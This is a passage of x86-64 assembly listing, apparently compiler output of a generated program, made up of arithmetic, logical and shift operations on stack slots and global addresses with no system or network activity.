mov word [rcx], ax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9a8], ax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x69]
mov qword [rsp + 0x5b00], rax
movsx eax, word [rsp + 0x990]
mov rcx, qword [rsp + 0x57d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x928], ax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x5b08], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x2c78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b10], eax
mov rax, qword [rsp + 0x58a0]
mov rax, qword [rax]
mov qword [rsp + 0x5b10], rax
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bdc], eax
mov rax, qword [rsp + 0x52d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113033], al
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5810]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x918], ax
mov rax, qword [rsp + 0x5a58]
movzx eax, byte [rax]
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x58b8]
movzx eax, byte [rax]
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x2b5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x52f0]
sar rax, cl
mov qword [rsp + 0x5310], rax
lea rax, [0x140114150]
mov qword [rsp + 0x5b18], rax
mov rax, qword [rsp + 0x5250]
mov rcx, qword [rsp + 0x4fd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5918]
mov qword [rcx], rax
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x5528]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14011306c], ax
lea rax, [rsp + 0x8b8]
mov qword [rsp + 0x5b20], rax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x960], ax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x81]
and eax, ecx
mov byte [rsp + 0x93], al
movzx eax, byte [0x14011302f]
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5af8]
mov eax, dword [rax]
mov dword [rsp + 0x2c7c], eax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5188]
mov rcx, qword [rsp + 0x59a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
lea rax, [rsp + 0x944]
mov qword [rsp + 0x5b28], rax
movsx eax, byte [0x14011302a]
movsx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [0x14011302b], al
mov rax, qword [rsp + 0x5ac8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
and eax, ecx
mov byte [rsp + 0x7e], al
lea rax, [rsp + 0x89c]
mov qword [rsp + 0x5b30], rax
movsx eax, word [0x14011306c]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
lea rax, [rsp + 0x2bc0]
mov qword [rsp + 0x5b38], rax
mov rax, qword [rsp + 0x5948]
mov ecx, dword [rsp + 0x2c58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x4c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x5970]
mov qword [rsp + 0x5b40], rax
movsx eax, byte [rsp + 0x3b]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
mov byte [0x140114213], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [rsp + 0x9e4], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x948]
movzx ecx, word [rsp + 0x9dc]
sar eax, cl
mov word [rsp + 0x958], ax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov dword [rsp + 0x2c80], eax
mov rax, qword [rsp + 0x5860]
movzx ecx, al
mov rax, qword [rsp + 0x4fd0]
shl rax, cl
mov rcx, qword [rsp + 0x5158]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2c84], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5218], rax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
and eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [0x140114168]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x30]
add eax, ecx
mov rcx, qword [0x140114200]
mov byte [rcx], al
lea rax, [rsp + 0x848]
mov qword [rsp + 0x5b48], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
lea rax, [rsp + 0x994]
mov qword [rsp + 0x5b50], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x55d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2c88], eax
mov rax, qword [rsp + 0x5ac0]
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4ec8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x5b58], rax
mov rax, qword [0x140114188]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9d8]
and eax, ecx
mov rcx, qword [0x1401142f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x31]
mov rcx, qword [rsp + 0x5740]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, word [rsp + 0x8f0]
mov word [rsp + 0x9e8], ax
movsx eax, byte [rsp + 0x71]
movsx ecx, byte [rsp + 0x82]
add eax, ecx
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0x9f], al
lea rax, [rsp + 0x2a98]
mov qword [rsp + 0x5b60], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x54f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5760]
mov qword [rcx], rax
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0x5b68], rax
mov rax, qword [0x140113008]
movzx ecx, al
mov rax, qword [rsp + 0x5748]
shr rax, cl
mov qword [rsp + 0x50d0], rax
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140113070], ax
movsx eax, word [rsp + 0x9a0]
movsx ecx, word [rsp + 0x8c4]
or eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0x5b70], rax
movzx eax, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x3a]
and eax, ecx
mov byte [rsp + 0x62], al
movzx eax, word [rsp + 0x8b0]
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0x56f0]
mov rcx, qword [rsp + 0x53f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x5b78], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5aa0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
lea rax, [rsp + 0x8a4]
mov qword [0x140114338], rax
movzx eax, word [rsp + 0x97c]
mov word [rsp + 0x9f0], ax
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5240]
mov byte [rcx], al
lea rax, [rsp + 0x3b]
mov qword [rsp + 0x5b80], rax
movsx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x904], ax
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5320]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov eax, dword [rsp + 0x2c24]
mov dword [rsp + 0x2c8c], eax
mov rax, qword [rsp + 0x5af8]
mov ecx, dword [rsp + 0x2bc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c88], eax
mov rax, qword [rsp + 0x5300]
mov qword [rsp + 0x5b88], rax
movzx eax, byte [rsp + 0x41]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov byte [0x140113016], al
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x4e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8f0], ax
lea rax, [rsp + 0x2c10]
mov qword [rsp + 0x5b90], rax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5320]
sar rax, cl
mov qword [rsp + 0x5b40], rax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c30], eax
lea rax, [0x140113008]
mov qword [rsp + 0x5b98], rax
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x5050]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113036], al
movzx eax, word [rsp + 0x980]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [0x1401141f8]
movzx eax, byte [rax]
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov rcx, qword [rsp + 0x5608]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a0]
add eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [0x140113008]
mov qword [rsp + 0x5ba0], rax
mov rax, qword [rsp + 0x5580]
mov rcx, qword [rsp + 0x5350]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x57e0], rax
mov eax, dword [rsp + 0x2bac]
mov dword [rsp + 0x2c90], eax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2c7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x888]
sub eax, ecx
mov word [0x140113070], ax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x5ba8], rax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x988]
sub eax, ecx
mov word [rsp + 0x9dc], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x58c0]
shl rax, cl
mov qword [rsp + 0x51b0], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2c94], eax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5698]
mov qword [rsp + 0x5bb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5bb0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2c58], eax
lea rax, [rsp + 0x7c]
mov qword [0x140114340], rax
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x5bb8], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [0x140114298]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0xaa], al
movsx eax, word [rsp + 0x9ac]
mov rcx, qword [rsp + 0x5758]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x5930]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x56d0]
mov qword [rsp + 0x5bc0], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
lea rax, [0x140114150]
mov qword [rsp + 0x5bc8], rax
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113024], ax
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9bc], ax
mov rax, qword [rsp + 0x5490]
movzx eax, byte [rax]
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0x5940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x968], ax
mov rax, qword [rsp + 0x5420]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
lea rax, [0x140114150]
mov qword [rsp + 0x5bd0], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov qword [rsp + 0x5bd8], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x54f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14011302c], ax
mov rax, qword [rsp + 0x5170]
movzx eax, word [rax]
mov word [rsp + 0x9f4], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x5828]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x5be0], rax
mov rax, qword [rsp + 0x5378]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140114150]
shl eax, cl
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5610]
cqo
mov rcx, qword [rsp + 0x59a8]
idiv qword [rcx]
mov rcx, qword [rsp + 0x5760]
mov qword [rcx], rax
lea rax, [rsp + 0x53e8]
mov qword [rsp + 0x5be8], rax
mov eax, dword [rsp + 0x2b88]
mov ecx, dword [rsp + 0x2b50]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x5bf0], rax
lea rax, [rsp + 0x980]
mov qword [0x140114348], rax
mov rax, qword [0x140114320]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
sar eax, cl
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0x9c]
and eax, ecx
mov byte [rsp + 0x3c], al
movzx eax, word [rsp + 0x948]
mov word [rsp + 0x9f8], ax
mov rax, qword [rsp + 0x5a88]
mov rcx, qword [rsp + 0x5260]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55a0]
mov eax, dword [rax]
mov dword [rsp + 0x2c98], eax
mov eax, dword [rsp + 0x2c64]
mov ecx, dword [rsp + 0x2c30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be4], eax
lea rax, [rsp + 0x5710]
mov qword [rsp + 0x5bf8], rax
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
and eax, ecx
mov rcx, qword [rsp + 0x5b70]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [0x140113037], al
mov rax, qword [rsp + 0x5258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
add eax, ecx
mov rcx, qword [rsp + 0x5528]
mov word [rcx], ax
lea rax, [rsp + 0x854]
mov qword [rsp + 0x5c00], rax
mov rax, qword [rsp + 0x5408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x858], ax
lea rax, [rsp + 0x2c84]
mov qword [rsp + 0x5c08], rax
mov rax, qword [rsp + 0x5520]
mov ecx, dword [rsp + 0x2b5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5840]
mov dword [rcx], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5380]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
lea rax, [rsp + 0x51b0]
mov qword [rsp + 0x5c10], rax
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0x46]
or eax, ecx
mov rcx, qword [rsp + 0x54c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140113032], al
lea rax, [rsp + 0x9bc]
mov qword [rsp + 0x5c18], rax
mov rax, qword [rsp + 0x5600]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sar eax, cl
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5810]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x5340]
mov rcx, qword [rsp + 0x4ef8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5380], rax
lea rax, [rsp + 0x4f48]
mov qword [rsp + 0x5c20], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x2b40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x5c28], rax
movzx eax, word [rsp + 0x99c]
mov rcx, qword [rsp + 0x5620]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401142b0], ax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x5c30], rax
movzx eax, word [rsp + 0x964]
movzx ecx, word [rsp + 0x85c]
and eax, ecx
mov word [rsp + 0x954], ax
lea rax, [rsp + 0x53b8]
mov qword [rsp + 0x5c38], rax
mov eax, dword [rsp + 0x2b68]
mov ecx, dword [rsp + 0x2c60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c84], eax
mov rax, qword [rsp + 0x5278]
mov rcx, qword [rsp + 0x52f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x5c40], rax
lea rax, [rsp + 0x8c0]
mov qword [0x140114350], rax
movsx eax, byte [0x140114154]
movsx ecx, byte [rsp + 0x32]
add eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
add eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x5c50], rax
mov rax, qword [rsp + 0x5500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bb8], eax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov qword [rsp + 0x5c58], rax
mov rax, qword [rsp + 0x4e08]
mov rcx, qword [rsp + 0x5350]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
mov word [0x140114358], ax
mov rax, qword [0x1401141d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x51d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f8]
mov word [rsp + 0x9fc], ax
movzx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x908], ax
lea rax, [0x140114157]
mov qword [rsp + 0x5c60], rax
mov rax, qword [rsp + 0x5be8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5040]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c94]
mov dword [rsp + 0x2c9c], eax
mov rax, qword [rsp + 0x5730]
mov rcx, qword [rsp + 0x5a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5378]
mov ecx, dword [rsp + 0x2c44]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0x90c]
add eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0xad], al
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x58d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc8]
movzx eax, word [rax]
mov word [rsp + 0xa00], ax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3c]
and eax, ecx
mov rcx, qword [rsp + 0x5660]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b1c]
mov ecx, dword [rsp + 0x2c08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x5730]
mov rax, qword [rax]
mov qword [rsp + 0x5c68], rax
mov eax, dword [rsp + 0x2b74]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov qword [rsp + 0x5c70], rax
lea rax, [rsp + 0x8c4]
mov qword [0x140114360], rax
mov rax, qword [rsp + 0x5050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
add eax, ecx
mov rcx, qword [rsp + 0x54d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x96c]
mov rcx, qword [rsp + 0x5528]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov byte [rsp + 0xae], al
mov rax, qword [0x140114240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sar eax, cl
mov word [rsp + 0x9e0], ax
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x5c78], rax
mov rax, qword [rsp + 0x53e8]
mov rcx, qword [rsp + 0x5900]
mov qword [rsp + 0x5c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c80]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58a0]
mov rcx, qword [rsp + 0x5ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5c68], rax
lea rax, [rsp + 0x2c28]
mov qword [rsp + 0x5c88], rax
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c0]
and eax, ecx
mov rcx, qword [0x140114330]
mov word [rcx], ax
mov rax, qword [0x140114320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5230]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
mov rax, qword [rsp + 0x50b8]
movzx eax, byte [rax]
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x984]
sub eax, ecx
mov word [rsp + 0x844], ax
movzx eax, byte [0x140113032]
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x5120]
mov rcx, qword [rsp + 0x5820]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c98], eax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x5a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ef8], rax
lea rax, [rsp + 0x2bc0]
mov qword [rsp + 0x5c90], rax
mov rax, qword [rsp + 0x5098]
mov rcx, qword [rsp + 0x5320]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e8]
add eax, ecx
mov word [0x140113074], ax
lea rax, [rsp + 0x930]
mov qword [rsp + 0x5c98], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x5828]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
